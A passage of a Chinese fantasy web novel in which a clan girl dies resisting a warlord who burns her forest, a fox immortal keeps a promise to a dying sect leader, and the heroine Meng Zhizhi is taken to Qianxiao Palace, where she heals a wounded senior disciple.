再一次放羊,小希看见白狐就远远地看着赤色狐狸围着她打转。 她感到意?外,心中又掩不住高兴。 她不刻意?接近他,只在放羊回家的时候,会回头看它一眼。 她想,小狐狸终于回来了。她感到心满意?足。 这?天,伸婆将她叫进了帐篷里,小希看见一个她不曾想过的人,竟然?是代戈。 代戈这?次带了捕猎的几?只野猪登门,穿着妥当,他一见到小希,便亲切地称呼道:“兰希姑娘。” 小希坐到了伸婆的旁边。 伸婆道:“小希,今日代戈首领亲自登门,是为了提亲的。” 小希道:“奶奶,我还不想嫁人,尤其不想嫁给羌族的人。” 伸婆厉声道:“小希。” 代戈没有生气,反倒是对伸婆道:“大祭司,想来兰希姑娘对我有些误解。能不能让我单独和兰希姑娘聊一聊?” 伸婆想了想,点头答应。 三人走出帐篷前,伸婆对小希低语道:“小希,奶奶并不强迫你成亲,但是羌族有意?和兰族恢复和平交往,和平不易,我们?不能轻易得罪他。” 小希脸色沉重走到灵树下,代戈跟随着她,不远处许多族人都时不时朝这?里看过来。 小希道:“代首领,我的意?思讲得很?明确了,我不想嫁给你。” 代戈道:“为什么呢?兰希姑娘,我是我族最英勇的男儿,当娶最漂亮的姑娘。在我眼中,你是天下最漂亮的姑娘。” 小希道:“没有为什么,我只是单纯不喜欢你。” 代戈道:“那?你喜欢怎样的男子??” 小希不解道:“难道你想变成我喜欢的男子?的模样?那?样就不是你了。” 代戈道:“我只是想讨你的欢心。” 小希道:“我很?普通,你不用这?样做,你们?羌族有更漂亮、与你更相配的姑娘。” 代戈不再掩藏,道:“我观察了你很?久,你很?喜欢动物?,喜欢羊,喜欢狗,尤其还喜欢狐狸。” 小希仿佛被人戳破秘密,不悦道:“你跟踪我?” 代戈道:“姑娘误会了,羌族如?今也搬到了山林那?头居住。我上山打猎的时候,偶尔会遇见你。” 他想表达他是不经意?间撞见,但是小希心中却十分反感。 代戈道:“如?果我们?成亲,我会将山头的狐狸都猎来送给你。” 小希道:“我不喜欢死掉的狐狸,你不要伤害它们?。” 代戈道:“你是个善良的姑娘。如?果你嫁给我,我会都听你的。你如?果和我联姻,羌族以后再也不会攻击兰族,我们?都是一家人了。” 小希反问道:“如?果我不和你联姻,你们?会再次攻打兰族吗?” 代戈道:“兰希姑娘,你这?是在为难我。” 他用一种看似温柔的目光看着她,但小希只感到浑身发冷。 代戈道:“你这?段时间好好考虑,改日我再来登门拜访。” 他走了,腰间配着一把?尖刀,他走出的每一步,兰族人都警惕地看着他。 待他走后,族里之间那?种紧绷的氛围才消散开来,今天是兰族一年一度的祭祀日,孩子?们?的脸上都挂着笑?容。 小希在帮着族人处理着祭祀日的食材。 一个的小男孩朝小希激动地喊道:“小希姐姐,大花生小羊了,你快过来啊!” 小希赶紧擦了擦手,牵着小孩的手,一起来到羊圈里,这?里已?经有好几?个孩子?围着了。 一头新生的小羊浑身还沾满了胎水,它努力地站起来,终于从妈妈那?里吃到了第一口奶。 小孩子?们?脸上都洋溢着喜悦,道:“小羊吃奶了。” 小希端来一捆草料,拿起一捧草,去喂羊妈妈。小孩们?见状,纷纷学?了起来。 一个孩子?拉住她的衣角,对她问道:“小希姐姐,你要嫁给羌族的首领吗?” 听到这?话,小孩们?纷纷都围了上来,都露出了好奇的眼神。 “我舍不得小希姐姐,小希姐姐不要嫁到羌族去。” 小希抱着一个个小萝卜头,道:“姐姐不嫁人。” “真?的吗?” “真?的。” 他们?兴奋地跟在小希的身后,和小希回到了祭祀典礼上。族人们?唱着山歌,向山神献上烤好的山羊,一切安祥而?静谧。 小希找到伸婆,独自对伸婆说了自己的想法。 伸婆道:“小希,你长大了。” 小希道:“奶奶希望我嫁到羌族吗?” 伸婆道:“奶奶作大祭司,希望兰族里的每个人都能生活平安,羌族和兰族联姻不是一件坏事。但是我同样是小希的奶奶,只希望小希幸福快乐。” 小希道:“奶奶,对不起。” 伸婆道:“傻孩子?,你没有做对不起奶奶的事,也不要觉得心中愧疚,我们?兰族有自己的命运,还记得奶奶小时候跟你讲过关于灵树的故事吗?” 小希道:“灵树会听见我们?的思念,所有的族人都一直在陪伴着我们?,我们?不会真?正?死去,灵树会为我们?记得一切。” 伸婆道:“是的。我没有多少时日了,但我并不觉得寂寞,族人们?一直都在这?里。”她抚摸着灵树。 次日,伸婆派人将代戈送来的野猪送还了回去,还送了几?只羊表示歉意?,羌族人感到很?不高兴,但还是将兰族人放回去了,听说是代戈的命令。 山林丰茂,溪水潺潺。 小希带着五六个孩子?们?出来放羊,不远处,看见羌族人在捕猎。但是伸婆告诉过他们?,不要去干扰羌族人的生活,两个氏族一定要泾渭分明。 待羌族人走后,一个小孩偷偷来到小希身边,他神神秘秘从身后掏出了一个捕兽夹。 他道:“小希姐姐,你看。” 小希四处扫视了一边,将他藏在身后,她低声道:“没有被羌族人发现吧?” 小男孩牛气道:“才没有,我故意?趁他们?走了之后,才拆掉了夹子?。” “还有我们?!”几?个小孩都拿出了自己偷偷拿走的捕猎夹。 “你们?真?是胆子?太大了!”小希斥责道。 小孩们?低下头,一个大点的孩子?站出来说道:“羌族人总是在捕猎,我们?只是怕他们?会伤害那?些小狐狸。上一次,我看见他们?的首领还猎走了好几?只狐狸,还有一只山虎。小希姐姐,我们?做错了吗?” 小希看着他们?心里说不出的心疼,她抱着他们?,道:“你们?都是好孩子?。但是这?件事不要再做了。” “为什么?” 小希想告诉他们?因为这?样可能会让羌族人找兰族麻烦,甚至可能引发一场战争,但是她想她没有答应代戈的联姻,如?果答应了,是不是就能劝服代戈不要伤害那?些动物?,这?样说来她才是那?个最大的罪人? 这?一下,她感到自己难以启齿。 她抚摸着他们?,道:“我担心你们?会遇到危险。捕兽夹很?危险的,万一夹到你们?怎么办?我怎么向你们?的父母交代?不要再这?样做了,好吗?” “小希姐姐,别?难过,我们?答应你。” 回去之后,孩子?们?驱赶小羊回羊圈,小希注意?到族长从伸婆的帐篷里出来,顶着一张忧心忡忡的脸。然?而?吃饭的时候,族长和伸婆却表现如?常。 夜深了,族人们?都睡了。 帐篷外,叹息声不断传来。 小希睁着眼睛,一直到伸婆进了帐篷,她才闭上眼。 没过去几?日,族长就向众人宣布兰族又要搬迁了,让几?个青壮年先带着妇孺老幼先行一步,他们?垫后。 “族长,为什么又要搬迁?” 族长道:“如?今羌族离我们?不远,他们?征服了好几?个部落,队伍越来越壮大,这?座山林已?经容纳不下这?么多人了。我们?必须得提前准备,寻找适合生存的地方。” 族人开始忙着收拾东西。 伸婆找到小希,道:“小希,你先走。” 小希说什么都不愿答应,道:“奶奶,我跟你一块走。” 伸婆无奈,只好随了她的意?愿。 山林上的帐篷一夜之间少了一些,其他的帐篷都已?经熄灭了烛火,只有伸婆的帐篷里,族长还在和她商议事情。 寒冷的夜,山林静得有些吓人。 小希偷偷跑了出来,对着空气轻喊道:“狐仙大人,狐仙大人。” 白狐出现在了她的身后。 她道:“我们?要走了。” 白狐似乎没有惊讶,道:“是吗?” 冷冽的风吹得小希的鼻子?有些发红,她道:“以后可能不会再见面了,我希望你能好好的。” 白狐道:“你不再守护山林了?” 小希搓了搓冻得发酸的鼻子?,道:“是。” 白狐几?分生气,道:“既然?如?此,你走便是了。” 小希冲他露出一个微笑?,道:“我能知道你的名字吗?” 白狐不想理她,但舌头却快了一步,道:“蓝倾。” 他暗自后悔,他为什么要告诉一个人类自己的名字! 小希在心底里默默念着蓝倾二字,道:“其实人也分好人和坏人,我希望你以后遇上的都会是好人。” 蓝倾道:“吾讨厌人类。” 小希道:“我知道,我不求你能对人类改观,我只是想让你知道,人也是可以信任的。” 蓝倾讽刺道:“你是让吾相信你吗?吾不想听你讲这?些废话,你要走便走。吾厌恶这?个沾满人类气味的地方,这?之后你不要再呼唤吾,吾不会再来。” 他掉头就走。 小希站在山坡上,久久地凝望着他的背影。 到了兰族最后一批族人搬迁的时候,小希坚持让族长带着伸婆先走。 伸婆生气道:“小希,你为什么不听我的话?” 小希道:“奶奶,我知道,羌族人要来攻打我们?了,你们?想让自己当饵,保下其他族人。我不能眼睁睁看着你们?这?样做!” 伸婆脸色一凝,道:“你都知道了。” 小希道:“我听到了您每晚都在和族长商量怎么安全把?族人转移,奶奶您相信我,我年轻,跑得快,但是您年龄打大了,就让族长带着你先走吧。代戈如?果看到了我在这?里,一定会更相信我们?都在这?里,我可以帮你们?拖延时间。” 伸婆抱着她,一双浑浊的眼睛里满含泪水,道:“小希,我的小希。” 小希狠下心,将伸婆推向了族长,道:“族长,麻烦好好照顾我奶奶。” 族长道:“小希,你多加小心,一定要逃出来。” 小希点了点头。 她将族内的帐篷都支了起来,装作人都在的样子?。为了这?次逃离,兰族舍弃了很?多东西,她都故意?摆放了出来,不光如?此,她还故意?去经常放羊的溪边捉鱼。 她知道,一定有双眼睛盯着自己。 她假意?不知道,往回走。 当她走入领地的时候,身后冒出来许多羌族人。他们?不由分说,将小希捆了起来,将领地的帐篷全掀翻了。 她被带到了羌族人的领地。 代戈道:“兰希姑娘,好久不见。” 小希不跟他说话,将头偏到了一边去。 代戈道:“你以为你留下了自己,掩藏其他族人,就可以躲过我的眼睛。来人。” 小希看见两个兰族小孩被捆束起来,丢到了她的身旁。 小希喊道:“兰兜?兰甜?你们?没事吧?” “小希姐姐。”两个半大的孩子?紧缩在小希身后。 小希道:“代戈,你到底想做什么!” 代戈道:“我要你交代族长和大祭司的行踪。” 小希道:“我不知道。” 代戈掐住她的下巴,道:“你不知道?” 小希道:“是,因为我知道你们?肯定会找上门来,所以故意?让族长不要告诉我。” 代戈道:“你很?聪明。”他眼中迸发着欣赏的目光。 他和一旁的羌族人交谈了一会儿,小希静静地等待。 就见羌族人退下,代戈坐到一旁,似乎采取了什么行动。 小希心中很?紧张。 不一会儿,她看见山林又冒出了火。 小希道:“你派人放了火?你想做什么?” 代戈道:“你们?族长一定走不远,说不定还躲藏在这?片山林里,我不信放了火,还不能把?他们?逼出来。” 小希道:“你卑鄙无耻!” 代戈道:“我是真?的很?喜欢你,兰希。等我找回族长和大祭司,就让他们?为我们?举办一场盛大的婚礼,你觉得如?何?” 小希道:“我永远不会嫁给你。” 代戈丝毫不着急,他认为能征服一个难以征服的女人才是一个男人强大、优秀的证明。 他离开了,带着羌族人去捉兰族人了。 小希想尽办法想要磨破身后的绳索,看见了兰兜和兰甜,她心里猛然?升出一个想法。 她趁羌族人都离开之际,解开了兰兜和兰甜的绳索,又指导着两个小孩帮她解开绳索。 解开后,她带着两个小孩逃走。 待到一处隐蔽的地方,小希紧握着兰兜和兰甜的肩膀道:“你们?为什么会被捉住?你们?不是早就离开了吗?” 兰兜开口道:“小希姐姐,阿娘说不能让族长和祭祀婆婆以身犯险,大家都先躲在了山林里,想要族长和祭祀婆婆走了之后再出来赶走羌族人,阿娘说大家已?经被羌族人欺压太久了,不想再被羌族人赶走。是我和甜甜贪玩,才被羌族人捉住了。” 小希一瞬仿佛被人锤懵了,道:“你的意?思是说,大家都在山林里?” 兰兜哭了起来,兰甜也跟着哭了起来。 小希道:“别?哭,我去救你的阿娘,你们?好好躲起来,谁叫你们?都不要出来,好吗?” 兰兜拉住了小希,哭得双目通红道:“小希姐姐,我听见一个羌族人说,上次的山火也是他们?放的,你要小心。” 小希道:“兰兜,姐姐要你记住,要和兰甜互相扶持,不得背离彼此,你们?流着兰族的血脉,要记住兰族的每个人,不要记住仇恨,好好活着。如?果……如?果以后你遇见了一个叫蓝倾的人,你就告诉他,我会有一天回来看他,我一直期盼着那?天到来。” “小希姐姐!小希姐姐!” 小希将手指放在了唇中间,道:“乖,听话。” 说完,她头也不回地赶往山林。 茂密的山林像盘踞了一条火龙一般,浓烟笼罩了大片天空。 她听见动物?此起彼伏的哀嚎声,野猪身上带着火,在林子?里乱冲乱撞,鸟儿的翅膀被烧焦,再也飞不起来了。 她手中藏起一把?从羌族领地带出来的匕首。 茫茫火海中,她隐隐听到了族人们?痛苦的尖叫声。 几?个兰族青年人已?经和羌族人干上,他们?打得头破血流。 代戈正?抹了一个兰族人的脖子?。 那?一刻,小希再也压制不住,直接朝代戈冲了过去,将匕首狠狠扎在了他的身上。她一口咬住他的肩膀,不管他怎么用力捶打她的脑袋,她死都不松口。 “小希!小希!!我跟你们?这?群杂碎拼了!” 有族人从火海中冲出来,带着满身火焰,宛如?恶魔一般扑向羌族人,数个火人在地上扭打。 火势渐渐越来越大,无情地燃烧着所到之处的每一条生命。 再然?后,便是几?十年过去了。 蓝倾坐在一颗巨石上。 身后站着一个年迈的老人,他咳嗽得很?严重。 蓝倾起来扶住他,道:“生病就别?出来吹冷风,你是想折腾谁?” 老人眼角笑?起了褶皱,道:“定风坡上的花又开了啊,真?美。” 蓝倾道:“年年都如?此,有什么稀奇?” 老人道:“你不知道人生命之短暂,毕竟你已?经活了一千年。我活着的每一天都在想,我有没有好好地活这?一天,我有没有对得起他们?。咳咳,我终于可以无憾地去见他们?了。” 蓝倾生气道:“老头,你不是已?经修士了吗?我再去为你寻延年益寿的丹药,他们?如?果不给,我就抢回来。” 老人道:“别?,别?那?么野蛮。转眼过去都这?么多年了,蓝倾,我该走了。以后你要多相信别?人,这?世?上的人不全是坏的。” 蓝倾道:“你怎么这?般啰嗦,这?话我都听了成千上万遍了。” 老人慈祥地看着他,道:“这?一世?,我和兰甜幸运地遇到了你。我和她这?辈子?过得虽然?也有艰苦,但都很?幸福,可惜我们?都没有子?嗣,我们?创建了玉坤山就是想给你一个家,兰甜走了,接下来就该轮到我走了,能不能答应我,我走之后把?玉坤山守住?” 蓝倾道:“要守你就自己亲自来守。” 曾经的兰兜,如?今的玉坤山掌门,他看着蓝倾不变的容颜,仿佛随之回到了过往。 他突然?道:“我好像看见了小希姐姐。蓝倾,你还记得她吗?” 蓝倾道:“我不曾忘记。” 他伸出一只苍老的手,蓝倾握住了他的手。 他道:“蓝倾,小希姐姐她说她期待和你再见的那?天,但是我想告诉你,别?等她了。” 兰兜道:“我最担忧的就是你啊。” 他的眼睛像是停滞了一般,这?一刻蓝倾意?识到他真?的已?经走到了生命的尽头。 蓝倾道:“老头,睡吧。不用担忧我了。” 兰兜几?分不信,道:“真?的可以吗?” 蓝倾道:“我答应你,学?着去相信别?的人,玉坤山我替你守着,我不会孤独的。” 兰兜渐渐露出了一个笑?容,缓缓闭上了眼睛。 眼泪从眼角滑落,孟枝枝醒了过来。 她摸着自己湿润的脸颊,蓝色的光指引着她看着身后的古树。 她抚摸大树粗糙的枝干,道:“灵树你也跟我一样,在思念着他们?吗?” 灵树突然?冒出枝条,枝条上长满了新芽,新芽一瞬长成枝叶,枝叶缠绕着,生机勃勃。 这?一刻她好像感受到了那?些兰族人的感情,兰希、兰兜、兰甜、伸婆、族长……所有人的思念。 她明白为什么最厌恶世?人的蓝倾会愿意?守着玉坤山,愿意?那?么帮助她了。 她和他原来是一样的。 第67章 第 67 章 孟枝枝一早起来听见山洞外上有人大闹。 来的人是千霄宫七位峰主之一铁炼真?君, 他带着一群穿着丹青色仙衣的弟子们?在护山大阵之外,与那纷乱的阵法相斗。 “蓝倾,交出孟芷!如今邪魔点名道姓要她,你难道为了她一个人, 就不管天下苍生了吗?” 蓝倾道:“我这里没有此人, 要找你们?去别?处, 敢来我定风坡闹事, 你们?都不想活了?” “一剑师兄都告诉我们?了, 是你亲口告诉他还有大师兄,孟芷在你这里,你这狐狸怎么?出尔反尔!她与那邪魔关系匪浅,难道你已经和邪魔勾结了?” 蓝倾冷下眼?眸,道:“敢将我与邪魔放在一起, 你是第一人!” 他撒下蓝色火焰,将那仙门弟子圈禁起来。 “今日我们?就破了这定风坡,找出孟芷!弟子们?听命!随我一道!”铁炼真?君同数百弟子一同展开法器,厮杀护山大阵。 地动山摇,鸟兽惊走, 山洞里的古树生机正在流逝。 孟枝枝顿时意识到护山大阵与定风坡上的生机性命相连, 她立马施展法术, 想要护住小桃仙的命脉。 冥漆已经怒上心头,道:“我跟你们?这群人类拼了!” 他化?作巨兽, 挡在蓝倾跟前,向?天空嘶吼。 铁炼真?君手中祭出流星锤,那流星锤变得巨大无比, 砸向?山头。 古树的枝叶瞬间枯萎了一半。 她不能松手,要是此刻松手, 小桃仙的命脉就断了。 她呼唤道:“冥漆,回?来!小桃仙要没命了。” 冥漆一听闻,立马逃了回?来。 铁炼真?君道:“孟芷就在里面,弟子们?随我一块捉拿她!” 古树体内的树脂开始融化?,小桃仙从里面滚落了出来,孟枝枝一把抱住了她。 没了古树的庇护,她拼了命了将所有生气全部输进小桃仙体内。 冥漆眼?看着着急万分,阻止她道:“枝枝,你这样会没命的。” 孟枝枝浑身散发着金光,眼?眶里充斥着金色,道:“冥漆不要拦着我,我已经失去了师父,我再也不能失去小桃仙。” 只听从她喉中发出一声?尖叫,她额中现出双人蛇尾交缠的印记。 万物?生灵颤抖。 蓝倾一把捉住了铁炼真?君,道:“你们?再上前一步,我就杀了他。” “不要!铁炼师叔!” 山洞中散发的金光一瞬席卷大地,所有人都感受到了那份来自内心的震颤。 满脸血痕的铁炼真?君指着山洞,道:“她……她……神……” 孟枝枝吐血不止,她看着冥漆将小桃仙的身体抢走。要不是她及时住手,差一点就伤了冥漆。 冥漆道:“枝枝,放弃吧。” 孟枝枝捂住胸口,道:“冥漆,你在说什么??” 冥漆抱着沉睡的小桃仙,轻柔地为她拂去了头发上的枯叶,道:“当初我妖丹被毁,小桃仙千辛万苦进入玉坤山就是为了给我修复妖丹。但我从不曾希望她这样做。她这样选择了,我只能支持她,陪着她承受这个果。可是,一个人怎么?能承担两?个人的命运呢?你如何做得到?我做不到,小桃仙也是如此,如今我后悔,后悔没有早点告诉小桃仙这个道理。枝枝,你也不要太?沉重了,把什么?都背负在自己身上。” 孟枝枝道:“我从来不觉得你们?累赘,从不觉得自己不该背负这些。你们?都是我的家?人,我怎么?能见死不救?” 冥漆道:“枝枝,我和小桃仙一直希望你能过得幸福快乐。小桃仙如果醒着,也一定认为我是对?的。看你苦苦支撑,我们?更不希望自己拖累你。” 孟枝枝道:“你们?不是拖累,从来都不是。” 冥漆道:“我知?道,可是枝枝,你已经很累了吧?” 孟枝枝一滞。 冥漆道:“我和小桃仙在此处生活得很平静,她终于不用为我奔波,我也终于可以安静地每日都陪伴着她。这样的生活,我心中满足。从我在别?院再见你,你就像变了一个人,虽然?对?我和小桃仙笑?着,但是那笑?含着苦涩,这些我都看得明?白,不曾问你究竟发生了什么?,是怕你更加难受。”他说完,口中吐出鲜血。 孟枝枝大喊道:“冥漆!” 冥漆擦去嘴角鲜血,道:“我妖丹尽毁,没想到还能撑到今日。” 孟枝枝自责不已,这些日子她怎么没看出冥漆身体有不对?,竟然?一拖再拖至今。 冥漆将手抚在她的脸上,道:“不要自责,这不是你的错。” 孟枝枝道:“我给你输送灵力!” 冥漆阻止她道:“没有用的,不要白费力气了,枝枝。我早已想好,我要化?成精灵,重新陪小桃仙修炼。你回?去吧,去找回?孟医仙,不要再为我和小桃仙白费功夫。” 孟枝枝被人当头棒喝,如梦初醒,她看见冥漆的身影像被无形的东西拉扯,身体和毛发都变白,快要支撑不住了。 她哭出声?来,道:“怎么?会这样?” 冥漆对?她撑起一个微笑?,道:“枝枝,你会忘了我和小桃仙吗?” 孟枝枝道:“我怎么?可能会忘记你们?!我们?一辈子是家?人,永远都是家?人。” 冥漆身形接近透明?,随时都要消散。 他是为了她不担忧,一直强撑到现在,她突然?意识到,他已经很累了,她该让他休息了。 她紧紧抓住了他的手,不愿意松手,泣不成声?道:“冥漆,冥漆。” 冥漆紧紧回?握住她,道:“枝枝,我们?亦不会忘了你。我们?永远喜欢着你,关心着你,爱着你。” 他人身消散,化?成一只没有灵智的鼠,躺在了她的掌心。 小鼠跳跃到了仙树上,回?头看着她。 仙洞受到震荡,一块块巨石掉落下来。护她剑现身,强行将孟枝枝带了出去,她刚出去的霎那,洞门岩石倒塌。 孟枝枝失声?痛哭,道:“冥漆,小桃仙!” 她跪着,上半身匍匐在地面上。 小桃仙和冥漆终究都离她而去了…… 看着护她剑立在她跟前,她拿起它,站起身来,往蓝倾的方向?走去。 “千霄宫的人要抓我是吗?我是孟芷,就在此处,你们?带走我,不要为难蓝倾。”孟枝枝如行尸走肉,一双红眼?睛冷漠地看着众人。 蓝倾道:“小桃仙和冥漆呢?” 孟枝枝脸上有一丝动容,道:“他们?已经化?成原形了。这些日子多谢狐仙前辈,是我对?不起你,为你引来这么?大的祸事。” 她转而对?铁炼真?君还有那些千霄宫的弟子道:“定风坡乃玉坤山的命脉,你们?此举是想灭了玉坤山吗?” 此话?一出,所有人震慑住,谁也不敢动。 孟枝枝道:“同为仙门中人,你们?步步紧逼。蓝倾他守了此地千年,这里是他的家?,也是玉坤山妖修们?的家?,你们?有什么?理由来犯?为了你们?口中的天下苍生,就可以滥杀无辜吗?” 铁炼真?君道:“巧言令色,你与邪魔有染,又为修仙界引来祸事,随本君回?千霄宫接受审问!” 孟枝枝道:“我一人做事一人当,你们?要审我可以,先给蓝倾道歉!” 蓝倾眸底浮光涌动。 铁炼真?君道:“你这女子不讲道理,如果不是你刻意藏在此处,本君用得着出此下策?” 孟枝枝道:“不道歉是吧?那我自刎于此,你们?大可收了我的尸体带去给赢破。” 她将护她剑横在了脖子上。 铁炼真?君急道:“万万不可!” 他立马冲蓝倾道:“对?不住了,道友。今日之事是我莽撞,我向?你道歉。” 他鞠躬而下,那些弟子立马跟着行动道:“蓝倾师兄,对?不起!” 孟枝枝见状,如坠千斤般将护她剑放了下来。 她转而对?蓝倾道:“你……你珍重。” 她走出他身边,走到了铁炼真?君的身后。 铁炼真?君赶紧招呼众弟子回?山,蓝倾仰头看着孟枝枝,孟枝枝同样也看着他。 回?到千霄宫后,孟枝枝看见群山峻岭,灵气充盈,比起人界,这里的确是修炼的福地。 她站于堂下,堂上七位峰主皆审视着她。 七位峰主密音相传许久,她全然?听不见他们?究竟聊了些什么?。 只看见抓她来的那位铁炼真?君眉目愤怒,面如修罗,商讨了大半天,铁炼真?君撇过脸,似乎不想参与这场对?话?,看样子是争夺话?语权失败了。 贤剑真?君道:“孟芷,现出你的剑。” 孟枝枝想了想,将护她剑施展出来,剑灵一现身,七位峰主脸色各异。 贤剑真?君道:“你与那邪魔究竟是什么?关系,他放言说我千霄宫抓了你,定要我们?带你回?去。但我心知?,你虽然?身上有邪魔的气息,但是确是散修无疑,你的剑气清亮纯洁,你没有杀过人。” 孟枝枝道:“我与那邪魔是从小相识,他救过我一命,我便想报恩,之后察觉他不对?劲,这才逃了出来。” 贤剑真?君道:“如此说来,你是无辜的。你放心,我千霄宫向?来以救苍生为使命,不会轻易将你交予那邪魔。” 无心仙君道:“师兄说得有理。那凌恒魔君放了鬼母出来,令鬼孩四处侵袭我修仙界,将她送过去,岂不是让邪魔得逞!我赞成师兄所言。” 除了铁炼真?君,其余六位峰主皆表态,看样子是不打算将她交给邪魔了。 铁炼真?君此时讥讽道:“这小小散修还有剑灵,可不简单呢。我铁炼峰还有事,就此别?过。” “铁炼师兄你……” 铁炼真?君挥袖,一眨眼?就不见了。 贤剑真?君道:“小友莫怪,他一贯是这个脾气。” 孟枝枝抱拳,道:“无妨,真?君,孟芷此次前来,其实有一事相问。” 贤剑真?君道:“请言。” 孟枝枝道:“我师父孟慕华失踪了,和千霄宫一位叫无真?的人关系密切,我怀疑是他带走了我师父。还请诸位峰主帮忙,找一找我师父。” 贤剑真?君道:“这……无心师妹,千霄宫中可有叫无真?的人?” 无心真?君掌心翻现,一串串名字现于空中。 她道:“确有一人名唤无真?,但此人数年前早已命丧黄泉,怕是要令这位小朋友失望了。” 孟枝枝心灰意冷。 贤剑真?君道:“本君看你有修剑天赋,就在我万剑峰上住下吧。此事莫要着急,我们?再想想办法。” 孟枝枝道:“谢过贤剑真?君。一直听说贤剑真?君宅心仁厚,今日所见,果然?如此。” 贤剑真?君笑?出声?,传音道:“梅珊,将孟芷带去房间吧。” 梅珊推开大殿的门,走到孟枝枝身边道:“枝枝,跟我来。” 第68章 第 68 章 梅珊将她领去房间的?路上, 道:“没想?到当日你从水夜叉手底下逃出?来?,又能?够来?千霄宫被师父看重,真是幸运。还没来?得及谢谢当初你的?救命之恩。” 她说到就要拜谢。 孟枝枝抬起了?她,道:“你客气了?, 我是医修, 救人是我的?使命。梅珊, 你能?不能?我讲一讲关于千霄宫的?事?” 梅珊本就欣赏她, 加之万剑峰主峰上与她同龄内门女弟子又没有其他人, 便十分热情地向她介绍了?起来?。 梅珊道:“这里是大师兄的?住处,那里是一剑师兄的?。你的?住处还要远一些,我就在你的?隔壁。” 孟枝枝道:“你不是贤剑真君的?亲传弟子吗?怎么与我一般住得那么远?” 梅珊脸上有几分难言,道:“师父他很好,只是梅珊不争气, 没有师兄们厉害。况且之前门中发生过有男长老与女徒弟厮混的?糊涂事,师父说,我是女弟子,要避嫌,所以就住得远了?些。” 孟枝枝道:“贤剑真君当真考虑周到。” 梅珊若有所失道:“是呀。” 两道光影极速冲来?, 路一剑焦急道:“梅珊, 快来?, 大师兄受伤了?!” 他正搀扶着重伤昏迷的?云庭,他腹部?有一个巨大血窟窿, 流血不止。 梅珊道:“山中的?医修前两日被师父全部?派遣去其他仙门救治被鬼孩伤害的?伤员了?……对了?,枝枝,你是医修, 救救大师兄吧。” 路一剑心一颤抖,他这才?看见孟枝枝竟然?在此。 他道:“我再带大师兄去寻其他人。” 孟枝枝先一步, 走到云庭跟前,先将灵力输松进?去,为他止血。 她道:“梅珊,碧桃、荀草、忘忧、神芝,有没有这几味药材?快拿来?。” 梅珊道:“有!我这就去拿。” 孟枝枝对路一剑道:“我运功不能?断,劳烦你将他带到房内。” 路一剑见她额头冒出?豆大的?汗珠,牙一咬,道:“好。” 梅珊匆忙送来?几味药材,就看见孟枝枝腾出?一手,将那几位药缠糅在一起,发出?淡绿色的?光辉。 “这是在炼丹,”路一剑道,“高等医修能?够不用炉鼎就将药材炼制成丹药。”他心中又刷新了?对孟枝枝的?认知?。 孟枝枝将那炼化的?药液凝聚成一颗丹药,送入云庭的?口中。 她道:“他体内中的?邪气过盛,他是不是去见了?鬼母?” 路一剑道:“是。那鬼母阴险狡诈,大师兄不小心中了?她的?计。” 孟枝枝道:“这渡厄仙丹药材难寻,如果?是一般人早就没救了?,他现在已无大碍,需要静养。” 路一剑心中复杂,道:“多谢你。之前的?事对不住。” 孟枝枝没有回应,出?了?一身虚汗,唇色惨白,道:“梅珊,能?不能?带我回去休息?” 梅珊见她脸色不对,立马搀扶着她,道:“我送你回去。” 孟枝枝来?到了?她的?房间里,吃力地躺在了?床榻上,道:“我需要睡一会儿。” 梅珊为她掖了?掖被子,道:“你快快休息,其他的?事就不用担心了?。” 孟枝枝闭上了?眼。 等她睁眼之后?,就见梅珊脸上大喜,道:“你终于醒了?,你昏睡了?整整七天,吓死我了?,还好一剑师兄说你是操劳过度,不然?你要是出?了?什么事,我心中难安。” 孟枝枝舔了?舔干裂的?嘴皮,道:“我想?喝水。” 梅珊立马端来?,喂她喝下。 她抿了?抿嘴,道:“云庭如何了??” 梅珊道:“大师兄他……” 话音未落,云庭已经走进?了?房中。 他浑身肃冷,人一到来?,空气都变得窒息。 梅珊立马起了?身,向他行礼。 他颔首,道:“你出?去吧。我有话要问她。” 梅珊感觉大师兄不像是来?道谢的?,心中紧张,看了?一眼孟枝枝,她人微言轻,只能?退下。 云庭来?到她的?塌前,把?住了?她的?手腕。 孟枝枝道:“你想?做什么?” 云庭口中念咒,很快他松开了?她的?手。 孟枝枝察觉丹田运转通畅,体内因赢破而沾染的?邪气都被驱散了?。一时她明?白了?,云庭是来?为她清除邪气来?的?。 云庭道:“我从不欠人情,我伤了?你和你朋友,你又救了?我,我就将一部?分修为传于你,除非你自愿,一般邪气入不了?你的?体。” 孟枝枝道:“你以为这样就能?消清你那两剑的?罪了??” 云庭道:“当日是无奈之举,我没什么可辩解的?,我不悔做了?那样的?事,如果?换做他人阻碍我封印鬼母,我亦会这么做。” 孟枝枝冷笑。 她从榻上下来?,走出?房门,见梅珊还在门外等候。 她道:“梅珊,可以带我去别处逛逛吗?” 梅珊看着云庭也从房中走出来,欲言又止,道:“好,我带你出?去逛逛。” 二人走了?一路,来?到了?弟子们练功的训练场。 孟枝枝一眼看见一个女子额中红痣,正与旁边的?弟子们聊得正欢。 梅珊道:“我忘了?告诉你,在你昏迷的?时候,一剑师兄带了?樊盈绣上山,她刚刚拜入师父门下,如今也是千霄宫的?弟子了?,不过只是外门弟子,同我们住不到一块去。” 孟枝枝并不意外,上一世樊盈绣也成了千霄宫的弟子,一切都如命运轨迹,只是不知?道没了?妖丹祭剑,她是用怎样的方法入了贤剑真君的?眼。 赢破砸了?茶杯,茶水四溅,溅到了?樊鸣的?脸上,道:“你说千霄宫不放人?” 樊鸣道:“陛下息怒,我们派去如此多的?鬼孩,但都被那仙界中人消灭殆尽。” 赢破目眦欲裂道:“那就将鬼母派到千霄宫中,将孟芷给孤抓回来?。钱喜,你去办这事。” 钱喜隐身于暗。 樊鸣道:“还有一件事,我已同几位仙师捉拿了?附近的?妖邪,组成了?一只军队,已在殿外等候,陛下可否要看一看?” 赢破掀起裙摆,走出?殿门,樊鸣随之。 数千妖邪,奇形怪状,有的?攀爬在房檐上,有的?腾空而起,那一身散发的?恶意看着令人胆寒。宫人们早已清散,似是害怕。 赢破道:“从今以后?,你们都要听孤的?指令。” “笑话!你一个人也想?统领我们恶鬼?看我要你的?命!” 一只噬天虎冲赢破扑来?,随即所有妖邪都朝他扑了?过来?。 赢破嘴角一勾,伸手一抓,就将那噬天虎撕开,一口吞入腹中。 他眼中妖冶的?光乍现,魇灵说得不错,吃了?其他的?妖邪,他的?修为能?够大增。 可这些妖邪个个皆恶,从不屈服于他人,他们身上都附着各色咒术图案,散发着强大的?力量。 